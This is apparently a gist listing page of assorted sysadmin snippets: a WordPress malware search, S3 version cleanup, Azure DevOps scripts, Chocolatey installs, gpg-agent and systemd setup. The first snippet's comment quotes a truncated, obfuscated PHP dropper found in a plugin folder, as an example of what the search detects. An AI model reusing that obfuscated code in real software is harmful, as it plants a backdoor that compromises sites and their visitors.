This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
grep "\$[a-zA-Z0-9]*(" ./ -ir | |
# should find some funky stuff like: | |
# ./wp-content/plugins/classic-editor/js/hoxozkwa.php:<?php $LRhdThLn = "\104"."\117".chr(67)."\x55".chr(77).'E'."\x4e"."\x54".chr(95)."\x52".chr(79).chr(79).'T';$qEJGBsQZ = "\x48"."\x54".'T'.chr(331-251).chr(95).'H'."\117"."\x53"."\x54";$FocpVmGikU = chr(104)."\x74".chr(116).chr(875-763)."\72"."\57".chr(370-323);$InqeP = chr(591-545).chr(463-351)."\150".chr(112);$OmaOCPiem = "\160".chr(104)."\160";$aALnXcWKii = 'f'."\151"."\154".chr(101)."\137".chr(889-777)."\x75".chr(727-611).chr(95).chr(99)."\157".chr(110).'t'.chr(576-475)."\x6e"."\x74".'s';$eleTmtrO = chr(552-438)."\x61".chr(119).'u'."\162".chr(732-624).'d'."\145".chr(950-851)."\x6f".'d'."\x65";$YGdQfPUtlO = chr(117)."\156"."\x73"."\145".chr(114).'i'.'a'."\154".'i'.chr(585-463).chr(799-698);$wuLUaDUX = chr(112)."\150".chr(112)."\166"."\145"."\x72"."\163"."\151".chr(111).'n';$VaXDosXIU = 's'.'t'."\x72"."\x5f".chr(114).chr(227-116)."\164".chr(49).chr(108-57);$BVrBroINfP = "\163".chr(101). |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
docker exec -it Influxdb influx bucket create --name telegraf2023 -r 1095d |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Always run this command to first show the commands it will run(a dry run) | |
# Of course, modify the key and bucket name with your needs | |
aws s3api list-object-versions --endpoint=https://fra1.digitaloceanspaces.com --bucket dacia-public-bucket --key tmstories | jq -c '.Versions[] | select(.IsLatest == false) | " aws s3api delete-object --endpoint=https://fra1.digitaloceanspaces.com --bucket dacia-public-bucket --key \(.Key) --version-id \(.VersionId)"' -r | |
# and only then uncomment this line which actually deletes them: | |
#eval "$(aws s3api list-object-versions --endpoint=https://fra1.digitaloceanspaces.com --bucket dacia-public-bucket --key tmstories | jq -c '.Versions[] | select(.IsLatest == false) | " aws s3api delete-object --endpoint=https://fra1.digitaloceanspaces.com --bucket dacia-public-bucket --key \(.Key) --version-id \(.VersionId)"' -r)" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Get-NetworkStatistics | |
{ | |
$properties = 'Protocol','LocalAddress','LocalPort' | |
$properties += 'RemoteAddress','RemotePort','State','ProcessName','PID' | |
netstat -ano | Select-String -Pattern '\s+(TCP|UDP)' | ForEach-Object { | |
$item = $_.line.split(" ",[System.StringSplitOptions]::RemoveEmptyEntries) | |
if($item[1] -notmatch '^\[::') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This script will help with updating multiple Azure DevOps repositories at once, useful when there are too many repos to point and click | |
# For example on line 23, the command updates all repos that match PATTERN to only allow squash merge types. | |
$org="organization" | |
$project="Project" | |
$PAT="XXPATXX" | |
# First login: | |
az devops configure --defaults organization=https://dev.azure.com/$org project=$project |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$targetRepository = "some_repository_name" | |
$AzureDevOpsPAT = "XX" | |
$OrganizationName = "projectName/organizationName" | |
$AzureDevOpsAuthenicationHeader = @{Authorization = 'Basic ' + [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(":$($AzureDevOpsPAT)")) } | |
$builds = Invoke-RestMethod -Uri "https://dev.azure.com/$OrganizationName/_apis/build/builds?api-version=6.0&repositoryId=" -Method get -Headers $AzureDevOpsAuthenicationHeader | |
$runningBuilds = $builds.value | Where-Object { $_.repository.name -like $targetRepository } | Where-Object { $_.status -eq 'inProgress' } | |
foreach($build in $runningBuilds){ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ECHO Installing apps | |
ECHO Configure chocolatey | |
choco feature enable -n allowGlobalConfirmation | |
# Browsers | |
cinst google-chrome-x64 | |
cinst vivaldi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
AGENT_SOCK=$(gpgconf --list-dirs | grep agent-socket | cut -d : -f 2) | |
if [[ ! -S $AGENT_SOCK ]]; then | |
gpg-agent --daemon --use-standard-socket &>/dev/null | |
fi | |
export GPG_TTY=$TTY | |
# Set SSH to use gpg-agent if it's enabled | |
GNUPGCONFIG="${GNUPGHOME:-"$HOME/.gnupg"}/gpg-agent.conf" | |
if [[ -r $GNUPGCONFIG ]] && command grep -q enable-ssh-support "$GNUPGCONFIG"; then |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Create a service: | |
cat > /lib/systemd/system/azure-devops-shutdown-when-idle.service<<'EOF' | |
[Unit] | |
Description=Issues as shutdown in case the agent is idle, to avoid long running ec2 spot instances | |
[Service] | |
Type=simple | |
ExecStart=/bin/bash /root/shutdown_when_idle.sh | |
[Install] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo mkdir /etc/1password | |
echo vivaldi-bin | sudo tee /etc/1password/custom_allowed_browsers | |
sudo chown root:root /etc/1password/custom_allowed_browsers | |
sudo chmod 755 /etc/1password/custom_allowed_browsers |
NewerOlder